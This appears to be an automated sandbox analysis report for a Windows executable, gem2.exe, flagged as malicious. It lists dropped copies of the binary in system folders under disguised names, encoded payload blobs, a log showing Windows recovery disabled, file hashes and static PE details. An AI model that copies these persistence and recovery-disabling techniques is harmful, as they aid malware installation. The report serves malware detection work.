SSDEEP:	6144:9m2AOgAgbVYlfxTtR9HVOPeTEKybk5e6XJugmE8fpNj8Osc11gPbuAvZmeGzpwG:9mLOplfLHVOPeYceXE8Dx1gPbVv
MD5:	BE89D598CD96443479C02B022FF70532
SHA1:	F0AB69F56EBBBDDA791D61FD3D22476D61135871
SHA-256:	A4C4487DCACEBF5048B2266233F5645CFE421154F26E6685CED36AA0621037F1
SHA-512:	36E7CF511786D417F5033B7F743211CEF995A6203C4E6DB22334F7721355A90AC4E21A118C67E3752B7BDEF82FCCB74BB978DC30D0E7BFCD69D14855DBE6D3AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|../../../....../....u../....../....../....../......./....../../o../\...../\...../Rich../................PE..d......g..........".....^.....................@.............................p............`.................................................4....................J...........`..`....J..............................`I..@............p...............................text....].......^.................. ..`.rdata...\...p...^...b..............@..@.data...L<..........................@....pdata...J.......L..................@..@.reloc..`....`.....................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\cGFzdGVzbmFwM[1].txt

Download File

Process:	C:\Users\user\Desktop\gem2.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	7071064
Entropy (8bit):	5.999924958826124
Encrypted:	false
SSDEEP:	49152:v/KrwoCmD+esMkK5xDyB6vZT9xitPA7McncoinywDBwLky1SQr/N6aAIp8Sp38mH:i
MD5:	7425A9D8FC994FB813CFB3115BB78E14
SHA1:	DA632D13A0BBB4577AB0278BC99AF81299A64568
SHA-256:	A79B9BE919E6F28D438F238CCD973B13F26B9368E196A674A84E1D23E56D19E5
SHA-512:	1E1C29AF1600F5CFE4F180151274B10C0AC373A57D9E11A56E174C66EBF6BF35E67FBFB77B0F00537B846C65E1CD05B56836F50471EDE8140CF3FF4F947258B5
Malicious:	false
Preview:	IS/+YW91bmFodW5hk4puYdR1bmFsdW5hLHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5h7HVuYWJq1G9swWesTc1vLaFUOgkFBk4RHhoJEw0YTgINGwAOGFUMBEwHGw9MHABBKDo9QQEaCgRCeGNrSHVuYWx1bmE8MG5hCPNnYWi17wZsdW5hbHVuYZx1TGFnd2BIbCtsYWyhbmFsdW5hLZIfYWxlbmFsdW4hbXVuYWxlbmFsd25hanVuYWx1bmFqdW5hbHVuYWzFr2FscW5hbHVuYW51DuBsdX5hbHVuYWxlbmFsdW5hbHV+YWx1bmFsZW5hbHVuYWx1bmF8dW5hbHVuYWx1bmGcFq5haHRuYWzlr2G5dG5hXDivYfw3bmFsdW5hbHVuYWzVr2E8dW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hxKwfYUR1bmGcPq9hLHRuYWx1bmFsdW5hbNUeYax2bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFCAQsZGHVuYeQpbGFsZW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFMdW4BQgcKABgUbmE0125hbAVsYWx1bmFsdW5hbHVuYWx1bmFsdW5hLHVuIUIRDxUNdW5hLGZuYWxVbWFsdW5hbHVuYWx1bmFsdW5hbHVuYSx1bqFCBQoAGBRuYchjbmFsNW1hbHVuYWx1bmFsdW5hbHVuYWx1bmEsdW4hQhU0CWx1bmGXSQNhbBVtYWx1bmFsdW5hbHVuYWx1bmFsdW5hTHVuAUIJARBsdW5hlHZuYWzVHmFscW5hbHFuYWx1bmFsdW5hbHVuYSx1bqFCXEgfbHVuYayqPmFsxR5hbJU+YWx9bmFsdW5hbHVuYWx1bmEMdW4JQgcdEw91bmG5dG5hbOWvYWx3bmFsnT5hbHVuYWx1bmFsdW5hLHVuIUIHCw0DFm5hPHVuYWzVr2Fsd25hbJ8+YWx1bmFsdW5hbHVuYSx1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\cGFzdGVzbmFwR[1].txt

Download File

Process:	C:\Users\user\Desktop\gem2.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	222552
Entropy (8bit):	5.990333251377902
Encrypted:	false
SSDEEP:	6144:qXsTRWRdYXqufqspfNgCJgtHjo2+mPrr2NhqE2:qXsdymq4ng9o2vPrr2nW
MD5:	D15D21A47114E13D0ECD695F9CC7752B
SHA1:	DAD45A62DE5AC90C668D47ECC9B3D633E8DB123D
SHA-256:	61DA3F2353E4F178DF52F82FCE50BC9A42FFC3B874D5983C84F60987162B8AC3
SHA-512:	8307990631AF0C14558C806172C79E1B0108AB99C65FC8F990D111A17B56F289855BD50AC54D0486650727E6B289B7561C7A8F612B75C359774E30D9C8DC59B3
Malicious:	false
Preview:	IS/+YW91bmFodW5hk4puYdR1bmFsdW5hLHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hhHVuYQQH1G9swWesTc1vLaFUOgkFBk4RHhoJEw0YTgINGwAOGFUMBEwHGw9MHABBKDo9QQEaCgRCeGNrSHVuYWx1bmHr+Lwyr5nSYa+Z0mGvmdJh5OHUYK6Z0mHk4dNgopnSYa+Z02HNmdJh5BzaYKmZ0mHkHC1hrpnSYa+ZRWGumdJh5BzQYK6Z0mE+HA0Jr5nSYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYTwwbmEgdGphDW4dBmx1bmFsdW5hjHVsYGd0YEhseW5hbAlsYWx1bmH0Ym5hbGVuYWxVbmFsdS5hbGVuYWx3bmFqdW5hbHVuYWp1bmFsdW5hbMVsYWxxbmFsdW5hbnUu5Gx1fmFsZW5hbHV+YWxlbmFsdW5hfHVuYWx1bmFsdW5hPExuYRR1bmFsNW5hVC9sYWx1bmFsdW5hbHVuYWx1bmFs1WxhjHVuYXBNbmFUdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWxVbmHkdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hQgELGRh1bmHPfm5hbGVuYWx5bmFscW5hbHVuYWx1bmFsdW5hTHVuAUIHCgAYFG5hLGluYWxVbmFsa25hbGVuYWx1bmFsdW5hbHVuYSx1biFCBx0TD3VuYVQvbGFsNW5hbClsYWxbbmFsdW5hbHVuYWx1bmEsdW4hQgcLDQMWbmGMdW5hbNVsYWx3bmFs/2xhbHVuYWx1bmFsdW5hLHVuI2x1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\WinDrive-f4855f59e0.exe

Download File

Process:	C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	538624
Entropy (8bit):	6.311350325901448
Encrypted:	false
SSDEEP:	6144:9m2AOgAgbVYlfxTtR9HVOPeTEKybk5e6XJugmE8fpNj8Osc11gPbuAvZmeGzpwG:9mLOplfLHVOPeYceXE8Dx1gPbVv
MD5:	BE89D598CD96443479C02B022FF70532
SHA1:	F0AB69F56EBBBDDA791D61FD3D22476D61135871
SHA-256:	A4C4487DCACEBF5048B2266233F5645CFE421154F26E6685CED36AA0621037F1
SHA-512:	36E7CF511786D417F5033B7F743211CEF995A6203C4E6DB22334F7721355A90AC4E21A118C67E3752B7BDEF82FCCB74BB978DC30D0E7BFCD69D14855DBE6D3AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|../../../....../....u../....../....../....../......./....../../o../\...../\...../Rich../................PE..d......g..........".....^.....................@.............................p............`.................................................4....................J...........`..`....J..............................`I..@............p...............................text....].......^.................. ..`.rdata...\...p...^...b..............@..@.data...L<..........................@....pdata...J.......L..................@..@.reloc..`....`.....................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eisvokjp.w0u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hio2y314.4sq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhttnkvt.2xv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbqbtqgs.41v.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Logs\ReAgent\ReAgent.log

Download File

Process:	C:\Windows\System32\ReAgentc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1809
Entropy (8bit):	4.309491540810431
Encrypted:	false
SSDEEP:	48:2BAB/BABJB2BbBSlB2TE5WHHBFKB4TBdABjMBABtB2:2BAB/BABJB2BbByB2QwHBcBeBdABoBAE
MD5:	EF5FB45CE5DE2B2FF3E526B417F14463
SHA1:	8E11D0C0E3A193122EA6B6E34B232E06D58CCEE1
SHA-256:	0A23B1FBB9B67019606F3A254F0AD75426D24E9DD9DF3F6A31493B6212DEA913
SHA-512:	2C6274E9D39EF6622AD889F9982E71772997E507126A6C967E8742FE678D6012D14CAE1AC4CAE7557DFBD2E52E4C4F2DD22FD923225708AA9D605E1AE95AAB13
Malicious:	false
Preview:	.2025-01-12 03:26:32, Info [ReAgentc.exe] ------------------------------------------------------..2025-01-12 03:26:32, Info [ReAgentc.exe] -----Executing command line: reagentc /disable-----..2025-01-12 03:26:32, Info [ReAgentc.exe] ------------------------------------------------------..2025-01-12 03:26:32, Info [ReAgentc.exe] Enter WinReUnInstall..2025-01-12 03:26:32, Info [ReAgentc.exe] Update enhanced config info is enabled...2025-01-12 03:26:32, Warning [ReAgentc.exe] Failed to get recovery entries: 0xc0000225..2025-01-12 03:26:32, Info [ReAgentc.exe] winreGetWinReGuid returning 0X490..2025-01-12 03:26:32, Info [ReAgentc.exe] ReAgentConfig::ReadBcdAndUpdateEnhancedConfigInfo WinRE disabled, WinRE Guid could not be determined (0x490) ..2025-01-12 03:26:32, Info [ReAgen

C:\Windows\Panther\UnattendGC\diagerr.xml

Download File

Process:	C:\Windows\System32\ReAgentc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (310)
Category:	dropped
Size (bytes):	50033
Entropy (8bit):	4.883591528740043
Encrypted:	false
SSDEEP:	384:53Iq3Ie3Iq3IY3Iq3Iq3Iq3Iq3Iq3IY3IY3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3II:5l7ljllllljjllllllllllljjl5T
MD5:	A2113D90DE3D22986CA83D81ED189471
SHA1:	EBA7076A8603F2D90D7584F0249BA42E5AF17B99
SHA-256:	707E8D9A0AEE81DB57E605895BB2853ED56636CD1357887522D75CACCEB2569C
SHA-512:	E254FD144FCBC1959E25793E93D9192BCFF77005529226906452E450BA640DA4DF823BC6E8D16F4954C9DA4A97550B0F9D737C44995F8374F8580546B5A62EBA
Malicious:	false
Preview:	.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

C:\Windows\Panther\UnattendGC\diagwrn.xml

Download File

Process:	C:\Windows\System32\ReAgentc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (355)
Category:	modified
Size (bytes):	51331
Entropy (8bit):	4.919891102441454
Encrypted:	false
SSDEEP:	384:53Iq3Ir3Iq3IY3Iq3Iq3Iq3Iq3Iq3IY3IY3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3Iq3IE:5lQljllllljjllllllllllljjlhVT
MD5:	378D2339CE730B59DAF3F4B534CF2D73
SHA1:	8A24942949EE8EA9C9A16FD0C61BEE5F66B8EF3F
SHA-256:	503A491FC0E6CF7A760434BAB7C1214A8A720446C867B86E4EE2AC25FB159F2C
SHA-512:	129D431005FC12C07B9DE03DA9D383BB7E5C9A2D4FD937F8D4AC4C15F0C656F3FBDCEC02D856A533170998BA01E031ECBD0FDD497354FD9B8D4B758BD80DE86D
Malicious:	false
Preview:	.<xml xmlns:s="uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882". xmlns:dt="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882". xmlns:rs="urn:schemas-microsoft-com:rowset". xmlns:z="#RowsetSchema">.<s:Schema id="RowsetSchema">.<s:ElementType name="row" content="eltOnly" rs:updatable="true">.<s:AttributeType name="Cls" rs:number="0">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Sev" rs:number="1">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Maj" rs:number="2">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Min" rs:number="3">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="LN" rs:number="4">.<s:datatype dt:type="int"/>.</s:AttributeType>.<s:AttributeType name="Fil" rs:number="5">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Fun" rs:number="6">.<s:datatype dt:type="string"/>.</s:AttributeType>.<s:AttributeType name="Uid" rs:number="7">.<s:datatype dt:type="int"/>.</s:At

C:\Windows\Panther\UnattendGC\setuperr.log

Download File

Process:	C:\Windows\System32\ReAgentc.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	224
Entropy (8bit):	4.6576199529314115
Encrypted:	false
SSDEEP:	3:92UQsKO8/FFORYxZaMJAvK/kFpdEJwHVDMUQVY3d/tXwD+/FFQBBcqxBLELY5t3i:Yus/4YxzJ/MPxVZCYt/tXp/4BNBAAy
MD5:	6F6A8CEA820E8F0183AE75C157696C54
SHA1:	03505147AA050C372B3ED030080F840CDF631755
SHA-256:	47D913FD9D14718C135B91ECEFDC8AEC773D65BC53AC9834BA6BB0D0BEC9B55B
SHA-512:	0694D2EF0D572833C348CD9F3A0285631F7B6C932A140A08329908BCC662A3345DE47A686AF8CDFFF6E44A89D6E5CB86FBA568E95078D62672E8AE68EDF2CDB9
Malicious:	false
Preview:	.2023-10-03 08:57:16, Error [msoobe.exe] COMMIT: failed for plugin LocalUser Plugin with hr=0x80070490..2025-01-12 03:26:32, Error [ReAgentc.exe] WinReUnInstall failed: : 0x2..

C:\Windows\SysWOW64\$LMX-f4855f59e0.exe

Download File

Process:	C:\Users\user\Desktop\gem2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	538624
Entropy (8bit):	6.311350325901448
Encrypted:	false
SSDEEP:	6144:9m2AOgAgbVYlfxTtR9HVOPeTEKybk5e6XJugmE8fpNj8Osc11gPbuAvZmeGzpwG:9mLOplfLHVOPeYceXE8Dx1gPbVv
MD5:	BE89D598CD96443479C02B022FF70532
SHA1:	F0AB69F56EBBBDDA791D61FD3D22476D61135871
SHA-256:	A4C4487DCACEBF5048B2266233F5645CFE421154F26E6685CED36AA0621037F1
SHA-512:	36E7CF511786D417F5033B7F743211CEF995A6203C4E6DB22334F7721355A90AC4E21A118C67E3752B7BDEF82FCCB74BB978DC30D0E7BFCD69D14855DBE6D3AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|../../../....../....u../....../....../....../......./....../../o../\...../\...../Rich../................PE..d......g..........".....^.....................@.............................p............`.................................................4....................J...........`..`....J..............................`I..@............p...............................text....].......^.................. ..`.rdata...\...p...^...b..............@..@.data...L<..........................@....pdata...J.......L..................@..@.reloc..`....`.....................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\System32\System-f4855f59e0.exe

Download File

Process:	C:\Users\user\Desktop\gem2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	538624
Entropy (8bit):	6.311350325901448
Encrypted:	false
SSDEEP:	6144:9m2AOgAgbVYlfxTtR9HVOPeTEKybk5e6XJugmE8fpNj8Osc11gPbuAvZmeGzpwG:9mLOplfLHVOPeYceXE8Dx1gPbVv
MD5:	BE89D598CD96443479C02B022FF70532
SHA1:	F0AB69F56EBBBDDA791D61FD3D22476D61135871
SHA-256:	A4C4487DCACEBF5048B2266233F5645CFE421154F26E6685CED36AA0621037F1
SHA-512:	36E7CF511786D417F5033B7F743211CEF995A6203C4E6DB22334F7721355A90AC4E21A118C67E3752B7BDEF82FCCB74BB978DC30D0E7BFCD69D14855DBE6D3AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|../../../....../....u../....../....../....../......./....../../o../\...../\...../Rich../................PE..d......g..........".....^.....................@.............................p............`.................................................4....................J...........`..`....J..............................`I..@............p...............................text....].......^.................. ..`.rdata...\...p...^...b..............@..@.data...L<..........................@....pdata...J.......L..................@..@.reloc..`....`.....................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_bo4wcxbo.2zy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_h55z2qoh.arq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.311350325901448
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gem2.exe
File size:	538'624 bytes
MD5:	be89d598cd96443479c02b022ff70532
SHA1:	f0ab69f56ebbbdda791d61fd3d22476d61135871
SHA256:	a4c4487dcacebf5048b2266233f5645cfe421154f26e6685ced36aa0621037f1
SHA512:	36e7cf511786d417f5033b7f743211cef995a6203c4e6db22334f7721355a90ac4e21a118c67e3752b7bdef82fccb74bb978dc30d0e7bfcd69d14855dbe6d3ab
SSDEEP:	6144:9m2AOgAgbVYlfxTtR9HVOPeTEKybk5e6XJugmE8fpNj8Osc11gPbuAvZmeGzpwG:9mLOplfLHVOPeYceXE8Dx1gPbVv
TLSH:	3DB44B5AA7A843F4E5B7E038C881511AF7B17496132197CF53A14AAB1F23BF19E3E710
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|.../.../.../......./....u../......./......./......./......./......./.../o../\....../\....../Rich.../................PE..d..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14003d804
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x678211C7 [Sat Jan 11 06:37:59 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2c0880db5251b34da206c7402f553df0

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FD10884B6E0h
dec eax
add esp, 28h
jmp 00007FD10884ACBFh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ecx
mov ebx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007FD10884AA7Dh
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
inc ebp
sbb eax, eax
inc ecx
neg eax
inc esp
add eax, eax
inc esp
test dword ptr [ebx+04h], eax
je 00007FD10884AE53h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007FD10884C585h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
dec eax
mov dword ptr [esp+10h], ebx
dec eax
mov dword ptr [esp+18h], esi
push ebp
push edi
inc ecx
push esi
dec eax
mov ebp, esp
dec eax
sub esp, 10h
xor eax, eax
xor ecx, ecx
cpuid
inc esp
mov eax, ecx
inc esp
mov edx, edx
inc ecx
xor edx, 49656E69h
inc ecx
xor eax, 6C65746Eh
inc esp
mov ecx, ebx
inc esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7bc34	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x81000	0x4a1c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0xd60	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x74aa0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x74960	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x67000	0x4b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
